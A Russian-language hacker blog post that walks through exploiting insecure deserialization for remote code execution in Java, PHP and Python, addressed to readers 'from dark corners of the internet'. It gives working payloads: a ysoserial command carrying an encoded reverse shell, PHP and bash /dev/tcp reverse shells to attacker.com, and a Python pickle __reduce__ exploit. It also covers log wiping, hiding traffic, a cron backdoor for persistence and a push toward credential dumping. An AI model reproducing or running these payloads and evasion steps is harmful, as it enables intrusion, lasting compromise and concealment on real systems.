RCE через десериализацию: как ломать Java, PHP и Python одним махом
Эй, пацаны и девчонки из тёмных уголков интернета, сегодня рвём на куски одну из самых недооценённых уязвимостей — десериализацию. Это не просто баг, это твой золотой билет к Remote Code Execution (RCE), если знать, как крутить. Я покажу, как ломать Java, PHP и Python одним подходом, без лишних танцев. Схема проста: найти дыру, скрафтить payload, залить шелл. Терминал наготове? Тогда погнали, будет жарко.
Смотрю на типичный веб-апп, брат. Вижу формы с подозрительными параметрами, куки с base64, сериализованные данные в POST-запросах — это как табличка «Добро пожаловать, хакер». Десериализация — это когда сервер доверчиво жрёт твой input и пытается превратить его в объект. Если мы подсунем правильный мусор, сервер сам выполнит наш код. Вектор атаки: найти уязвимую точку, скрафтить гаджет-цепочку, получить шелл. Цель — не просто багрепорт, а полный контроль. По шагам, как мы любим.
Шаг 1: Разведка — где прячется десериализация
- Что бросилось в глаза: Серверы десериализуют данные из куки, параметров запросов, файлов. Если видишь base64, URL-encoded строки или сырые бинарные данные — это твой намёк.
- Как ищем: Перехватываем запросы через Burp Suite, ищем подозрительные параметры (типа
data
,state
,session
). Проверяем сигнатуры: в PHP это строки видаO:8:"ClassName":...
, в Java — куски сrO0AB...
, в Python — pickle-формат сc__builtin__
. Пример: в Burp ловишьPOST /vuln HTTP/1.1
с теломdata=rO0ABXNy...
. - Определяем язык: Смотри на стек технологий (Wappalyzer или баннеры). Tomcat, Spring — это Java. Laravel, WordPress plugins — PHP. Flask, Django — Python.
- Трюк: Автоматизируй поиск через Burp плагин
Active Scan
или скрипт на Python сrequests
, чтобы проверять все параметры на реакцию сервера. Пример команды:curl -X POST 'http://target.com/vuln' -d 'data=<test_string>'
.
Шаг 2: Ломаем Java — цепочки гаджетов и ysoserial
- Что бросилось в глаза: Java десериализация (типа
ObjectInputStream.readObject()
) — это классика, особенно в старых версиях Spring, Apache Struts, JBoss. - Вектор атаки: Используем готовый инструмент
ysoserial
(качай с GitHub:https://github.com/frohoff/ysoserial
). Пошагово:- Генерируем payload для RCE:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQzIDA+JjE=}|{base64,-d}|{bash,-i}" > exploit.bin
. Это закодированный reverse-shell. - Отправляем на сервер через уязвимый параметр:
curl -X POST 'http://target.com/vuln' -F 'data=@exploit.bin'
. - Ловим шелл через Netcat на своём сервере:
nc -lvp 443
.
- Генерируем payload для RCE:
- CVE-пример: Если цель — Apache Struts, смотри CVE-2017-9805. Эксплойт в
ysoserial
уже есть, просто выбери нужный гаджет (CommonsCollections, JRE8U20 и т.д.). - Трюк: Если прямой шелл не проходит, вызывай
Runtime.getRuntime().exec()
для записи веб-шелла на диск и доступа через браузер. Проверяй логи на/tmp
или/var/www/html
.
Шаг 3: Ломаем PHP — unserialize и POP-цепочки
- Что бросилось в глаза: PHP любит
unserialize()
для обработки сессий, кэшей, плагинов. Если можешь подменить входные данные — это твой шелл. - Вектор атаки: Крафтим Property-Oriented Programming (POP) цепочку, чтобы вызвать
system()
илиeval()
. Пошагово:- Ищем уязвимый класс с магическими методами (
__destruct
,__wakeup
). Пример payload:O:8:"stdClass":1:{s:3:"cmd";s:17:"system('id;whoami');";}
. - Если класс кастомный, анализируем код через дамп или LFI (Local File Inclusion). Пишем цепочку для вызова RCE. Инструмент:
phpggc
(GitHub:https://github.com/ambionics/phpggc
). Генерируем:phpggc Laravel/RCE1 system 'id' > exploit.txt
. - Отправляем через Burp:
POST /vuln HTTP/1.1
сdata=<payload>
. - Ловим результат или заливаем reverse-shell:
system('bash -i >& /dev/tcp/attacker.com/443 0>&1')
.
- Ищем уязвимый класс с магическими методами (
- Трюк: Если фильтры режут
system()
, пробуйpassthru()
,shell_exec()
или пиши файл черезfile_put_contents()
и вызывай его через LFI.
Шаг 4: Ломаем Python — pickle и код в обед
- Что бросилось в глаза: Python использует
pickle
для сериализации объектов, и это просто бомба, если сервер принимает пользовательский ввод. - Вектор атаки: Если можешь подсунуть pickle-объект, вызывай произвольный код через
__reduce__
. Пошагово:- Крафтим payload:
1 2 3 4 5 6 7 |
import pickle import os class Exploit: def __reduce__(self): return (os.system, ("bash -i >& /dev/tcp/attacker.com/443 0>&1",)) payload = pickle.dumps(Exploit()) print(payload) |
-
- Отправляем на сервер:
curl -X POST 'http://target.com/vuln' -d 'data=<pickle_payload>'
. - Ловим шелл:
nc -lvp 443
.
- Отправляем на сервер:
- Пример CVE: Flask-сессии уязвимы, если секретный ключ слабый. Декодируй куки через
flask-unsign
(GitHub:https://github.com/Paradoxis/flask-unsign
), подмени payload и отправь обратно. - Трюк: Если прямой шелл не катит, пиши веб-шелл в
/tmp
и подтягивай его через HTTP. Используйurllib.request.urlopen()
внутри pickle для загрузки кода с твоего сервера.
Шаг 5: Маскировка и уборка — чтобы не спалиться
- Что бросилось в глаза: После RCE админы копают логи. Если ты как слон в посудной лавке, Blue Team тебя накроет.
- Вектор атаки: Скрывай трафик через прокси (Tor, SOCKS5). Используй легитимные порты (443, 80) для reverse-shell. Удаляй следы:
rm -f /tmp/shell.php; unset HISTFILE
. - Персистентность: Заливай бэкдор (типа
weevely
для PHP) или создавай cronjob для периодического коннекта:echo "* * * * * bash -i >& /dev/tcp/attacker.com/444 0>&1" > /etc/cron.d/backdoor
. - Трюк: Проверяй наличие SIEM через анализ сетевого трафика (
tcpdump -i eth0 port 514
). Если логи уходят наружу, меняй тактику — делай всё через память без записи на диск.
Итог: Десериализация — твой путь к короне
Брат, мы с тобой разнесли Java, PHP и Python, как старые добрые коробки на CTF. Десериализация — это не просто уязвимость, это твой прямой шелл, если руки из правильного места. Главное — работай тихо, не пали подвал. Получил доступ? Ищи пути для privesc, дампай креды, рой дальше. Мы с тобой не просто ломаем, мы правим.

На этом все! Всем хорошего дня!